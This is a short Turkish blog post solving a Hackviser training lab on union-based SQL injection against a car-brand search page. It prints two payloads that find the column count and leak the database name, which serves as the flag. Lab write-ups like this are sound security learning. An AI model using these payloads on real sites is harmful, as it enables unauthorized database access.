

# SQL Injection/Union-Based SQL Injection

Herkese selamlar bu yazımda [Hackviser](#) üzerinde bulunan Web security lablarından biri olan **Union-Based SQL Injection labının çözümünü anlatacağım.**

Bizden istenen siteye gittiğimizde bizi aşağıdaki gibi bir sayfa karşılıyor

## Search Car Brand

  

#	Brand	Model	Year
1	Toyota	Xtra	1992
2	Volvo	V50	2007
3	Mitsubishi	Chariot	1995
4	Ford	LTD Crown Victoria	1987
5	Buick	Lucerne	2010
6	Toyota	Sienna	2002
7	Dodge	Ram 2500	1995
8	Cadillac	SRX	2012
9	Kia	Rio	2003

Önce uzunca bi süre çeşitli SQL injection payloadlarını denedim

'UNION SELECT 1,2,3,4 Bu payload da deneđim payloadların arasındaydı. Sonuna yorum satırı anlamına gelen " # " işareti koymak aklıma geldi. Bunu deneyince aşğıdaki gibi bir çıktı elde ettim.

## Search Car Brand

'UNION SELECT 1,2,3,4#

Search

#	Brand	Model	Year
1	2	3	4

bu şekilde sütun sayımı buldum.

## Search Car Brand

' UNION SELECT database(),2,3,4#

Search

#	Brand	Model	Year
ecliptica_cars	2	3	4

Ardından da isimleri listelemeye çalıştım ve ilk de tutturdum flag değerimiz "ecliptica\_cars" ismi oldu

Umarım bu yazıyı sıkılmadan okumuşsunuzdur. Keyifli çalışmalar.